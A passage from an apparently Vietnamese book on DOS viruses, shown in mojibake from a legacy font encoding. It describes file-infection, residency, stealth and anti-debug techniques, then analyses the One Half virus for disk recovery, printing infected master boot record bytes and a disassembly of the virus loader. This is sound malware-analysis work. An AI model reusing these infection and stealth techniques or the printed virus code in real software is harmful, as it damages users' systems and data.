Do th©n cña virus kh«ng n»m ®óng ®Çu vµo cña ch−¬ng tr×nh, 
cho nªn ®Ó chiÕm quyÒn ®iÒu khiÓn, ph¶i thùc hiÖn kü thuËt sau 
®©y: 

- §èi víi file .COM: Thay c¸c byte ®Çu tiªn cña ch−¬ng tr×nh 
(®Çu vµo) b»ng mét lÖnh nh¶y JMP, chuyÓn ®iÒu khiÓn ®Õn ®o¹n 
m· cña virus. 

E9 xx xx  JMP Entry virus. 

- §èi víi file .EXE: ChØ cÇn ®Þnh vÞ l¹i hÖ thèng c¸c thanh 
ghi SS, SP, CS, IP trong Exe Header ®Ó trao quyÒn ®iÒu khiÓn cho 
phÇn m· virus. 

Ngoµi hai kü thuËt l©y lan chñ yÕu trªn, cã mét sè Ýt c¸c virus 
sö dông mét sè c¸c kü thuËt ®Æc biÖt kh¸c nh− m· ho¸ phÇn m· 
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cña ch−¬ng tr×nh virus tr−íc khi ghÐp chóng vµo file ®Ó ngôy 
trang, hoÆc thËm chÝ thay thÕ mét sè ®o¹n m· ng¾n trong file ®èi 
t−îng b»ng c¸c ®o¹n m· cña virus, g©y khã kh¨n cho qu¸ tr×nh 
kh«i phôc. 

Khi tiÕn hµnh l©y lan trªn file, ®èi víi c¸c file ®−îc ®Æt c¸c 
thuéc tÝnh Sys (hÖ thèng), Read Only (chØ ®äc), Hidden (Èn), ph¶i 
tiÕn hµnh ®æi l¹i c¸c thuéc tÝnh ®ã ®Ó cã thÓ truy nhËp, ngoµi ra 
viÖc truy nhËp còng thay ®æi l¹i ngµy giê cËp nhËt cña file, v× thÕ 
hÇu hÕt c¸c virus ®Òu l−u l¹i thuéc tÝnh, ngµy giê cËp nhËt cña file 
®Ó sau khi l©y nhiÔm sÏ tr¶ l¹i y nguyªn thuéc tÝnh vµ ngµy giê 
cËp nhËt ban ®Çu cña nã. 

Ngoµi ra, viÖc cè g¾ng ghi lªn ®Üa mÒm cã d¸n nh·n b¶o vÖ 
còng t¹o ra dßng th«ng b¸o lçi cña DOS: Retry - Aboart - 
Ignore?, nÕu kh«ng xö lý tèt th× dÔ bÞ ng−êi sö dông ph¸t hiÖn ra 
sù cã mÆt cña virus. Lçi kiÓu nµy ®−îc DOS kiÓm so¸t b»ng ng¾t 
24h, cho nªn c¸c virus muèn tr¸nh c¸c th«ng b¸o kiÓu nµy cña 
DOS khi tiÕn hµnh l©y lan ph¶i thay ng¾t 24h cña DOS tr−íc khi 
tiÕn hµnh l©y lan råi sau ®ã hoµn tr¶. 

 2. Kü thuËt ®¶m b¶o tÝnh tån t¹i duy nhÊt. 

Còng gièng nh− B-virus, mét yªu cÇu nghiªm ngÆt ®Æt ra ®èi 
víi F-virus lµ tÝnh tån t¹i duy nhÊt cña m×nh trong bé nhí còng 
nh− trªn file. 

Trong vïng nhí, th«ng th−êng c¸c F-virus sö dông hai kü 
thuËt chÝnh: Thø nhÊt lµ t¹o thªm chøc n¨ng cho DOS, b»ng c¸ch 
sö dông mét chøc n¨ng con nµo ®ã trong ®ã ®Æt chøc n¨ng lín 
h¬n chøc n¨ng cao nhÊt mµ DOS cã. §Ó kiÓm tra chØ cÇn gäi chøc 
n¨ng nµy, gi¸ trÞ tr¶ l¹i trong thanh ghi quyÕt ®Þnh sù tån t¹i cña 
virus trong bé nhí hay ch−a. C¸ch thø hai lµ so s¸nh mét ®o¹n m· 
trong vïng nhí Ên ®Þnh víi ®o¹n m· cña virus, nÕu cã sù chªnh 
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lÖch th× cã nghÜa lµ virus ch−a cã mÆt trong vïng nhí vµ sÏ tiÕn 
hµnh l©y lan. 

Trªn file, cã thÓ cã c¸c c¸ch kiÓm tra nh− kiÓm tra b»ng test 
logic nµo ®ã víi c¸c th«ng tin cña Entry trong th− môc cña file 
nµy. C¸ch nµy kh«ng ®¶m b¶o tÝnh chÝnh x¸c tuyÖt ®èi song nÕu 
thiÕt kÕ tèt th× kh¶ n¨ng trïng lÆp còng h¹n chÕ, hÇu nh− kh«ng 
cã, ngoµi ra mét −u ®iÓm lµ tèc ®é thùc hiÖn kiÓm tra rÊt nhanh. 
Ngoµi ra cã thÓ kiÓm tra b»ng c¸ch dß mét ®o¹n m· ®Æc tr−ng 
(key value) cña virus t¹i vÞ trÝ Ên ®Þnh nµo ®ã trªn file, vÝ dô trªn 
c¸c byte cuèi cïng cña file. 

3. Kü thuËt th−êng tró 

§©y lµ mét kü thuËt khã kh¨n, lý do lµ DOS chØ cung cÊp 
chøc n¨ng th−êng tró cho ch−¬ng tr×nh, nghÜa lµ chØ cho phÐp c¶ 
ch−¬ng tr×nh th−êng tró. V× vËy nÕu sö dông chøc n¨ng cña DOS, 
ch−¬ng tr×nh virus muèn th−êng tró th× c¶ file ®èi t−îng còng ph¶i 
th−êng tró, mµ ®iÒu nµy th× kh«ng thÓ ®−îc nÕu kÝch th−íc cña 
file ®èi t−îng qu¸ lín. 

ChÝnh v× lý do trªn, hÇu hÕt c¸c ch−¬ng tr×nh virus muèn 
th−êng tró ®Òu ph¶i thao t¸c qua mÆt DOS trªn chuçi MCB b»ng 
ph−¬ng ph¸p "thñ c«ng". C¨n cø vµo viÖc th−êng tró ®−îc thùc 
hiÖn tr−íc hay sau khi ch−¬ng tr×nh ®èi t−îng thi hµnh, cã thÓ 
chia kü thuËt th−êng tró thµnh hai nhãm: 

a.  Th−êng tró tr−íc khi tr¶ quyÒn ®iÒu khiÓn. 

Nh− ®· nãi ë trªn, DOS kh«ng cung cÊp mét chøc n¨ng nµo 
cho kiÓu th−êng tró nµy, cho nªn ch−¬ng tr×nh virus ph¶i tù thu 
xÕp. C¸c c¸ch sau ®©y ®· ®−îc virus dïng ®Õn: 
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- Thao t¸c trªn MCB ®Ó t¸ch mét khèi vïng nhí ra khái 
quyÒn ®iÒu khiÓn cña DOS, råi dïng vïng nµy ®Ó chøa ch−¬ng 
tr×nh virus. 

- Tù ®Þnh vÞ vÞ trÝ trong bé nhí ®Ó t¶i phÇn th−êng tró cña 
virus vµo, th−êng th× c¸c virus chän ë vïng nhí cao, phÝa d−íi 
phÇn t¹m tró cña file command.com ®Ó tr¸nh bÞ ghi ®Ì khi hÖ 
thèng t¶i l¹i command.com. V× kh«ng cÊp ph¸t bä nhí cho phÇn 
ch−¬ng tr×nh virus ®ang th−êng tró, cho nªn command.com hoµn 
toµn cã quyÒn cÊp ph¸t vïng nhí ®ã cho c¸c ch−¬ng tr×nh kh¸c, 
nghÜa lµ ch−¬ng tr×nh th−¬ng tró cña virus ph¶i chÊp nhËn sù mÊt 
m¸t do may rñi. 

- Th−êng tró b»ng chøc n¨ng th−êng tró 31h: §©y lµ mét kü 
thuËt phøc t¹p, tiÕn tr×nh cÇn thùc hiÖn ®−îc m« t¶ nh− sau: 

Khi ch−¬ng tr×nh virus ®−îc trao quyÒn, nã sÏ t¹o ra mét 
MCB ®−îc khai b¸o lµ phÇn tö trung gian trong chuçi MCB ®Ó 
chøa ch−¬ng tr×nh virus, sau ®ã l¹i t¹o tiÕp mét MCB míi ®Ó cho 
ch−¬ng tr×nh bÞ nhiÔm b»ng c¸ch dêi ch−¬ng tr×nh xuèng vïng 
míi nµy. §Ó thay ®æi PSP mµ DOS ®ang l−u gi÷ thµnh PSP mµ 
ch−¬ng tr×nh virus t¹o ra cho ch−¬ng tr×nh ®èi t−îng, ph¶i sö dông 
chøc n¨ng 50h cña ng¾t 21h. 

b. Th−êng tró sau khi ®o¹t l¹i quyÒn ®iÒu khiÓn. 

Ch−¬ng tr×nh virus lÊy tªn ch−¬ng tr×nh ®ang thi hµnh trong 
m«i tr−êng cña DOS, råi nã thi hµnh ngay chÝnh b¶n th©n m×nh. 
Sau khi thi hµnh xong, quyÒn ®iÒu khiÓn l¹i ®−îc tr¶ vÒ cho virus, 
vµ khi ®ã nã míi tiÕn hµnh th−êng tró mét c¸ch b×nh th−êng b»ng 
chøc n¨ng 31h cña ng¾t 21h. 

4. Kü thuËt ngôy trang vµ g©y nhiÔu 
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Mét nh−îc ®iÓm kh«ng tr¸nh khái lµ file ®èi t−îng bÞ l©y 
nhiÔm virus sÏ bÞ t¨ng kÝch th−íc. Mét sè virus ngôy trang b»ng 
c¸ch khi sö dông chøc n¨ng DIR cña DOS, virus chi phèi chøc 
n¨ng t×m kiÕm file (chøc n¨ng 11h vµ 12h cña ng¾t 21h) ®Ó gi¶m 
kÝch th−íc cña file bÞ l©y nhiÔm xuèng, v× thÕ khi virus ®ang chi 
phèi m¸y tÝnh, nÕu sö dông lÖnh DIR cña DOS, hoÆc c¸c lÖnh sö 
dông chøc n¨ng t×m kiÕm file ë trªn ®Ó cã th«ng tin vÒ entry trong 
b¶ng th− môc, th× thÊy kÝch th−íc file bÞ l©y nhiÔm vÉn b»ng kÝch 
th−íc cña file ban ®Çu, ®iÒu nµy ®¸nh lõa ng−êi sö dông vÒ sù 
trong s¹ch cña file nµy. 

Mét sè virus cßn g©y nhiÔu b»ng c¸ch m· ho¸ phÇn lín 
ch−¬ng tr×nh virus, chØ khi nµo vµo vïng nhí, ch−¬ng tr×nh míi 
®−îc gi¶i m· ng−îc l¹i. Mét sè virus anti-debug b»ng c¸ch chiÕm 
ng¾t 1 vµ ng¾t 3. Bëi v× c¸c ch−¬ng tr×nh debug thùc chÊt ph¶i 
dïng ng¾t 1 vµ ng¾t 3 ®Ó thi hµnh tõng b−íc mét, cho nªn khi 
virus chiÕm c¸c ng¾t nµy råi mµ ng−êi lËp tr×nh dïng debug ®Ó 
theo dâi virus th× kÕt qu¶ kh«ng l−êng tr−íc ®−îc. 
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5. Kü thuËt ph¸ ho¹i 

Th«ng th−êng, c¸c F-virus còng sö dông c¸ch thøc vµ kü 
thuËt ph¸ ho¹i gièng nh− B-virus. Cã thÓ ph¸ ho¹i mét c¸ch ®Þnh 
thêi, liªn tôc hoÆc ngÉu nhiªn. §èi t−îng ph¸ ho¹i cã thÓ lµ mµn 
h×nh, loa, ®Üa,... 

Ch−¬ng III.   

Kh¶o s¸t virus One Half. 

1. ChuÈn bÞ cho qu¸ tr×nh kh¶o s¸t. 

Trong c¸c phÇn tr−íc, chóng ta ®· ®−a ra nh÷ng nguyªn t¾c 
chung trong viÖc thiÕt kÕ, ho¹t ®éng cña hÇu hÕt c¸c lo¹i virus tõ 
tr−íc ®Õn nay. TÊt nhiªn mçi lo¹i virus cã mét ®Æc thï riªng cña 
m×nh. 

PhÇn nµy sÏ tr×nh bµy quy tr×nh vµ mét sè c¸c kÕt qu¶ kh¶o 
s¸t c¬ b¶n phôc vô cho qu¸ tr×nh kh«i phôc ®Üa cøng ®èi víi virus 
One Half, mét trong c¸c virus th−êng hay gÆp hiÖn nay. 

Qu¸ tr×nh kh¶o s¸t ®−îc tiÕn hµnh trªn m¸y tÝnh AT386 
SX40, Hard Disk cã 14 (0Eh) ®Çu tõ (®¸nh sè tõ 0 cho ®Õn 13 
(0Dh)), 943 (03B0h) Cylinder (®¸nh sè tõ 0 ®Õn 942 (03AFh)), 40 
(28h) sector trªn mét track. 

Tr−íc khi cho virus One Half nhiÔm vµo m¸y cña m×nh, 
chóng ta ph¶i cÈn thËn l−u l¹i Master Boot, Boot Sector. Th«ng 
th−êng ®èi víi c¸c m¸y tÝnh, trªn toµn bé Track 0, Side 0 chØ dïng 
mét sector ®Çu tiªn cho Master Boot, cßn l¹i lµ kh«ng sö dông, 
chóng ta cã thÓ l−u chóng trªn c¸c sector nµy. Tuy nhiªn c¸c DB-
virus còng th−êng sö dông c¸c sector ®ã ®Ó ghi th©n cña chóng, 
cho nªn ®Ò phßng khi m¸y bÞ nhiÔm, phÇn th©n cña virus sÏ ®Ì 
vµo c¸c sector l−u cña chóng ta. Cã thÓ l−u trªn mét vµi chç, vµ 
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th«ng th−êng virus kh«ng l−u phÇn th©n cña m×nh trªn c¸c sector 
ngay sau Master Boot, cho nªn chóng ta cã thÓ l−u ë ®©y. TÊt 
nhiªn cã thÓ cÈn thËn h¬n b»ng c¸ch l−u chóng ra file, vµ/hoÆc sö 
dông chøc n¨ng t¹o ®Üa cøu trî (rescue disk) cña Peter Norton ®Ó 
khi cÇn cã thÓ n¹p l¹i chóng vµo ®Üa. 

2. Ph©n tÝch Master Boot bÞ nhiÔm virus One Half. 

Sau khi cho ®Üa cøng nhiÔm virus One Half, khëi ®éng (cold 
boot) b»ng ®Üa mÒm s¹ch. §iÒu nµy lµ cÇn thiÕt v× hÇu hÕt c¸c lo¹i 
virus khi nhiÔm vµo m¸y tÝnh ®Òu chiÕm c¸c ng¾t quan träng nh− 
ng¾t 21h (c¸c chøc n¨ng cña DOS), ng¾t 13h (phôc vô ®Üa cña 
ROM-BIOS) vµ mét sè c¸c ng¾t kh¸c. Mét sè virus ®−îc thiÕt kÕ 
®Ó khi m¸y ®ang bÞ n»m trong quyÒn chi phèi cña virus, mäi yªu 
cÇu ®äc/ghi Master Boot ®Òu ®−îc virus tr¶ vÒ mét b¶n Master 
Boot chuÈn, lµ Master Boot tr−íc khi virus l©y, ®iÒu nµy g©y ¶o 
t−ëng vÒ sù trong s¹ch cña m¸y. Ngoµi ra viÖc khëi ®éng l¹nh 
(cold boot) sÏ tiÕn hµnh test l¹i RAM, tr¶ l¹i cho DOS phÇn bé 
nhí mµ nã chiÕm (th«ng th−êng sau khi th−êng tró trong vïng 
nhí cao, virus gi¶m kÝch th−íc vïng nhí t¹i 0: 413h t−¬ng øng 
víi vïng nhí mµ nã chiÕm). Sau ®ã tiÕn hµnh ®äc Master Boot ®Ó 
kh¶o s¸t (t«i dïng DiskEdit cña Peter Norton), so s¸nh ®èi chiÕu 
víi Master Boot chuÈn ®· l−u tr÷ tr−íc ®©y.  



 
www.nhipsongcongnghe.net 

 
64/233 

Sau ®©y lµ Master Boot chuÈn:  

Physical Sector: Cyl 0, Side 0, Sector 1   

0000 :  FA  33  C0  8E  D0  BC  00  7C  -  8B  F4 
 50  07  50  1F  FB  FC  
0010 :  BF  00  06  B9  00  01  F2  A5  -  EA  1D  06 
 00  00  BE  BE  07 
0020 :  B3  04  80  3C  80  74  0E  80  -  3C  00  75 
 1C  83  C6  10  FE  
0030 : CB 75 EF CD 18 8B 14 8B - 4C 02 8B EE 83 C6
 10 FE 
0040 : CB 74 1A 80 3C 00 74 F4 - BE 8B 06 AC 3C 00
 74 0B 
0050 : 56 BB 07 00 B4 0E CD 10 - 5E EB F0 EB FE BF 05
 00 
0060 : BB 00 7C B8 01 02 57 CD - 13 5F 73 0C 33 C0 CD
 13 
0070 : 4F 75 ED BE A3 06 EB D3 - BE C2 06 BF FE 7D 81
 3D 
0080 : 55 AA 75 C7 8B F5 EA 00 - 7C 00 00 49 6E 76
 61 6C 
0090 : 69 64 20 70 61 72 74 69 - 74 69 6F 6E 20 74 61
 62  
00A0 : 6C 65 00 45 72 72 6F 72 - 20 6C 6F 61 64 69
 6E 67  
00B0 : 20 6F 70 65 72 61 74 69 - 6E 67 20 73 79 73 74
 65 
00C0 : 6D 00 4D 69 73 73 69 6E - 67 20 6F 70 65 72 61
 74 
00D0 : 69 6E 67 20 73 79 73 74 - 65 6D 00 00 00 00
 00 00 
00E0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
00F0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
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0100 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0110 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0120 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0130 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0140 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0150 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0160 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0170 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0180 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0190 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
01A0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00
 00 00 
01B0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 80
 01 
01C0 : 01 00 06 0D E8 AE 28 00 - 00 00 A8 0E 08 00
 00 00 
01D0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00
 00 00 
01E0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
01F0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 55
 AA 
 
Sau ®©y lµ Master Boot ®· bÞ nhiÔm One Half: 
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Physical Sector: Cyl 0, Side 0, Sector 1 
0000 : 33 DB FA BC 00 7C 8E D3 - FB 8E DB 83 2E 13 04
 04 
0010 : B1 06 CD 12 D3 E0 BA 80 - 00 8E C0 B9 22 00
 B8 07 
0020 : 02 06 CD 13 B8 D3 00 50 - CB AF 03 1C 83 C6
 10 FE 
0030 : CB 75 EF CD 18 8B 14 8B - 4C 02 8B EE 83 C6
 10 FE 
0040 : CB 74 1A 80 3C 00 74 F4 - BE 8B 06 AC 3C 00
 74 0B 
0050 : 56 BB 07 00 B4 0E CD 10 - 5E EB F0 EB FE BF 05
 00 
0060 : BB 00 7C B8 01 02 57 CD - 13 5F 73 0C 33 C0 CD
 13 
0070 : 4F 75 ED BE A3 06 EB D3 - BE C2 06 BF FE 7D 81
 3D 
0080 : 55 AA 75 C7 8B F5 EA 00 - 7C 00 00 49 6E 76
 61 6C 
0090 : 69 64 20 70 61 72 74 69 - 74 69 6F 6E 20 74 61
 62  
00A0 : 6C 65 00 45 72 72 6F 72 - 20 6C 6F 61 64 69
 6E 67  
00B0 : 20 6F 70 65 72 61 74 69 - 6E 67 20 73 79 73 74
 65 
00C0 : 6D 00 4D 69 73 73 69 6E - 67 20 6F 70 65 72 61
 74 
00D0 : 69 6E 67 20 73 79 73 74 - 65 6D 00 00 00 00
 00 00 
00E0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
00F0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0100 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
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0110 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0120 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0130 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0140 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0150 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0160 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0170 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00  00  00 
 00 
0180 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
0190 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
01A0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00
 00 00 
01B0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 80
 01 
01C0 : 01 00 06 0D E8 AE 28 00 - 00 00 A8 0E 08 00
 00 00 
01D0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00
 00 00 
01E0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00
 00 
01F0 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 55
 AA 
 

So s¸nh hai Master Boot trªn, chóng ta thÊy b¶ng ph©n 
ch−¬ng cña chóng lµ gièng nhau. Thùc ra hÇu hÕt mäi virus ®Òu 
lµm nh− vËy, v× thay thÕ b¶ng ph©n ch−¬ng kh«ng cã ý nghÜa g× 
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®èi víi chóng mµ chØ t¨ng mèi nghi ngê cña ng−êi sö dông lµ 
m¸y ®· bÞ nhiÔm virus. Th−êng lµ Master Boot bÞ nhiÔm cµng 
gièng Master Boot chuÈn th× cµng tèt, nghÜa lµ ®o¹n m· cña virus 
®Æt ë ®©y cµng nhá cµng tèt. Hai Master Boot trªn kh¸c nhau ë 
®o¹n m· ®Çu tiªn gåm 2Bh byte (tõ offset 0h ®Õn offset 2Ah). 
Dïng Debug hoÆc mét phÇn mÒm Unassembler (trong qu¸ tr×nh 
kh¶o s¸t, t«i ®· dïng phÇn mÒm Source.exe) ®Ó dÞch ng−îc ra 
Assembler ®o¹n m· nµy. 

3. M· Assembly cña phÇn ®Çu virus One Half trong Master 
Boot bÞ nhiÔm. 

Sau ®©y lµ dÞch ng−îc cña ®o¹n m· ®ã: (c¸c sè ®−îc biÓu diÔn 
d−íi d¹ng hexa) 

 00:  33 DB    xor  bx,bx 
 02:  FA    cli 
 03:  BC 7C 00   mov  sp,7C00h 
 06:  8E D3    mov  ss,bx 
 08:  FB    sti 
 09:  8E DB    mov  ds,bx 
 0B:  83 2E 0413 04  sub word ptr  [0413h],4h 
 10:  B1 06    mov  cl,6h 
 12:  CD 12    int  12h 
 14:  D3 E0    shl  ax,cl 
 16:  BA 00 80   mov  dx,80h 
 19:  8E C0    mov  es,ax 
 1B:  B9 00 22   mov  cx,22h 
 1E:  B8 02 07   mov  ax,0207h 
 21:  06    push  es 
 22:  CD 13    int  13h 
 24:  B8 00 D3   mov  ax,0D3h 
 27:  50    push  ax 
 28:  CB    retf 
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Nh− vËy, chóng ta thÊy phÇn ®Çu cña One Half lµm nh÷ng 
c«ng viÖc chÝnh sau ®©y: 

 - §Æt stack lµm viÖc cho virus t¹i 0:7C00h 

 - Gi¶m dung l−îng bé nhí do DOS qu¶n lý ®i 4K, ®Æt ®Þa chØ 
®o¹n cña phÇn vïng nhí nµy (9F00h) vµo cho thanh ghi ES vµ ®Èy 
vµo stack, chuÈn bÞ ®Þa chØ segment cho lÖnh nh¶y xa. 

 - §äc 7 sector trªn side 0, Cylinder 0, tõ sector 22h ®Õn 
sector 28h vµo ®Þa chØ 9F00h:0000h (ES:BX). 

 - §Èy gi¸ trÞ 0D3h vµo stack chuÈn bÞ ®Þa chØ offset cho lÖnh 
nh¶y xa.  

 - Nh¶y xa tíi 9F00h:00D3h. 

4. Kh¶o s¸t phÇn th©n cña virus One Half. 

Nh− vËy, chóng ta thÊy phÇn th©n cña virus gåm 7 sector cuèi 
trªn track 0, side 0. Th«ng th−êng, b¶ng Master Boot chuÈn 
th−êng ®−îc l−u ngay bªn c¹nh phÇn th©n cña virus, qua kiÓm tra, 
t«i thÊy Master Boot cò ®−îc l−u ngay tr−íc phÇn th©n cña virus 
(tøc ë sector thø 8 tÝnh tõ cuèi lªn). §Ó kh¼ng ®Þnh, t«i ®· kiÓm 
tra trªn mét sè c¸c m¸y tÝnh víi c¸c dung l−îng æ ®Üa cøng kh¸c 
nhau vµ kiÓm tra gi¸ trÞ t¹i offset 1Ch trong phÇn m· ®Çu cña virus 
One Half trªn c¸c m¸y ®ã 

- HDD 40 sec/track: Th©n cña virus l−u t¹i sector 34-40  
Master Boot cò l−u t¹i sector 33 
Gi¸ trÞ t¹i offset 1Ch trong phÇn m· ®Çu: 22h 

- HDD 17 sec/track: Th©n cña virus l−u t¹i sector 11-17 
Master Boot cò l−u t¹i sector 10 
Gi¸ trÞ t¹i offset 1Ch trong phÇn m· ®Çu: 0Bh 

- HDD 61 sec/track: Th©n cña virus l−u t¹i sector 55-61 
Master Boot cò l−u t¹i sector 54 
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Gi¸ trÞ t¹i offset 1Ch trong phÇn m· ®Çu: 37h 

Tõ ®ã cã thÓ suy ra r»ng phÇn th©n cña virus gåm 7 sector 
cuèi trªn track 0, cßn Master Boot cò cña m¸y ®−îc l−u t¹i sector 
ngay tr−íc ®ã. §iÒu nµy gióp cho qu¸ tr×nh kh«i phôc ®Üa sau nµy. 

 Mét sè ng−êi cho r»ng, thÕ lµ ®ñ! ChØ cÇn d¸n ®Ì Master 
Boot cò cña m¸y vµo vÞ trÝ cña nã (Side 0, Cyl 0, Sect 1) lµ xong. 
CÇn hÕt søc thËn träng víi thao t¸c nµy. Trong c¸c virus ®· gÆp tõ 
tr−íc ®Õn nay, cã mét sè virus tiÕn hµnh m· ho¸ d÷ liÖu trªn ®Üa ë 
c¸c møc ®é kh¸c nhau. NÕu m¸y ®ang thuéc quyÒn chi phèi cña 
virus, khi ph¶i lµm viÖc víi d÷ liÖu trªn c¸c vïng ®· bÞ m· ho¸, 
virus sÏ gi¶i m· vïng d÷ liÖu nµy vµ m¸y tÝnh vÉn lµm viÖc b×nh 
th−êng, song nÕu m¸y tÝnh kh«ng bÞ virus chi phèi, vïng d÷ liÖu 
®· bÞ virus m· ho¸ sÏ kh«ng thÓ lµm viÖc b×nh th−êng ®−îc n÷a. 
Trong thùc tÕ gÇn ®©y, mét sè m¸y tÝnh nhiÔm virus One Half khi 
khëi ®éng tõ ®Üa mÒm s¹ch, hoÆc gi¶i quyÕt theo c¸ch trªn, mét sè 
vïng d÷ liÖu trªn ®Üa bÞ m· ho¸: Mét sè file bÞ háng, mét sè th− 
môc con bÞ m· ho¸ thµnh "r¸c". 

§iÒu ®ã cã nghÜa lµ ph¶i thËn träng t×m hiÓu tr−íc khi quyÕt 
®Þnh d¸n ®Ì Master Boot cò lªn Master Boot hiÖn ®ang chøa virus. 

5. C¸c modul Assembler cña phÇn th©n virus. 

Trªn c¬ së cña kÕt luËn trªn, chóng ta lÊy phÇn th©n cña virus 
One Half ra ®Ó kh¶o s¸t. T«i ®· dïng DiskEdit cña Peter Norton 
®Ó ghi l¹i 7 sector th©n virus One Half ra mét file ®Ó nghiªn cøu. 

Cã lÏ kh«ng cã c¸ch nµo kh¸c ®Ó t×m hiÓu mét con virus 
ngoµi c¸ch lÇn theo vÕt cña chóng ®Ó t×m hiÓu xem chóng lµm g×.  

Cã thÓ dïng debug t¶i phÇn th©n cña nã vµo vïng nhí, biÕt 
®Þa chØ ®Çu vµo (offset 0D3), b»ng c¸ch ®Æt thanh ghi IP chóng ta 
cã thÓ lÇn theo vÕt cña chóng. Tuy nhiªn c¸ch lµm nµy th−êng chØ 
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kh¶o s¸t c¸c ®o¹n m· ng¾n, cßn víi c¸c ®o¹n m· dµi th× chóng ta 
kh«ng ®ñ søc ®Ó theo dâi. Trong tr−êng hîp nµy, chóng ta nªn 
dïng phÇn mÒm Unassembler ®Ó dÞch ng−îc ®o¹n m· ®ã ra file, 
in chóng ra ®Ó t×m hiÓu tõng b−íc mét. 

 Víi 7K m· cña virus One Half, t«i ®· tiÕn hµnh dÞch ng−îc 
vµ in ra trªn giÊy (kho¶ng 33 trang khæ A4) ®Ó tiÕn hµnh kh¶o s¸t. 

Tr−íc khi lÇn theo vÕt cña virus trong phÇn th©n cña nã, 
chóng ta cÇn chó ý hÖ thèng c¸c thanh ghi sau khi thùc hiÖn phÇn 
®Çu cña nã. §èi víi virus One Half, sau khi thùc hiÖn phÇn ®Çu, 
hÖ thèng c¸c thanh ghi nh− sau: 

 CS : 9F00  DS : 0000  ES : 9F00  SS : 0000 
 AX : 00D3  BX : 0000  CX : 000B  DX

 : 0080 
 SP : 7C00  SI : not used  DI : not used  IP : 

00D3 

B¾t ®Çu tõ 0D3h trong phÇn th©n cña virus, ®o¹n m· cña 
chóng ®−îc dÞch ng−îc nh− sau: (org 100h) 

0100  mov  ds:[0086h],cs  
0104  mov  ax,word ptr ds:[46Ch]  
0107 push  ds  
0108  push  cs  
0109  pop  ds  
010A  mov  word ptr ds:[56Ah],ax  
010D  mov  ax,cs  
010F  inc  ax  
0110  mov  ds:[0001h],ax  
0113  mov  byte ptr ds:[0CEB],0  
0118  call  sub_3 ; (0236) 
........ 
sub_3 proc near 
0236  mov  si,OFFSET ds:[0772h] 
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0239  mov  di,OFFSET ds:[0DD8h] 
023C  mov  cx,15Dh 
023F  cld 
0240  rep  movsb 
0242  retn 
sub_3 endp 
 

Ph©n tÝch phÇn ®Çu nµy, chóng ta thÊy virus One Half lµm c¸c 
c«ng viÖc sau ®©y: 

- L−u gi¸ trÞ CS=9F00h vµo 0: [0086h], ®Þa chØ nµy l−u gi¸ trÞ 
segment cña ng¾t 21h. 

- §Èy DS=0 vµo stack, ®Æt l¹i gi¸ trÞ thanh ghi ®o¹n cho DS : 
DS=9F00h. 

- L−u gi¸ trÞ cña bé ®Õm ®ång hå chñ (gi¸ trÞ l−u t¹i 0:46Ch) 
vµo 9F00h:056Ah, 9F01h vµo 9F00h: 0001h, 0 vµo 
9F00h:0CEBh. V× c¸c lÖnh nµy thay ®æi c¸c gi¸ trÞ h»ng trong 
ch−¬ng tr×nh, mµ nÕu c¸c h»ng nµy l¹i tham gia trong c¸c lÖnh sau 
sÏ lµm thay ®æi ý nghÜa cña chóng, v× vËy cã lÏ tèt nhÊt lµ nªn cã 
mét b¶ng ghi l¹i c¸c « nhí trong phÇn th©n cña virus bÞ thay ®æi 
gi¸ trÞ trong qu¸ tr×nh thùc hiÖn c¸c lÖnh cña nã. 

Off 
lÖnh 

§Þa chØ « 
nhí bÞ thay 

®æi 

Offset « 
nhí trong 

ch.tr 

Gi¸ trÞ cò Gi¸ trÞ 
míi 

ý nghÜa 

010A 056A 0597 678E ³   ®Õm 
th.g 

0113 0CEB 0D18 39 0³  

............ 

(Cã mét gi¶i thÝch nhá: PhÇn th©n cña virus ®−îc dÞch tõ 
0D3h, t−¬ng øng víi offset 100h, cho nªn ®Ó tÝnh ®Þa chØ offset « 
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nhí trong ch−¬ng tr×nh, chóng ta dïng c«ng thøc sau ®©y:  <®Þa 
chØ offset « nhí> = <®Þa chØ tuyÖt ®èi « nhí> + 100h - 0D3h). 
Trong c¸c lÖnh sau nµy, ®Æc biÖt lµ c¸c lÖnh sö dông c¸c gi¸ trÞ 
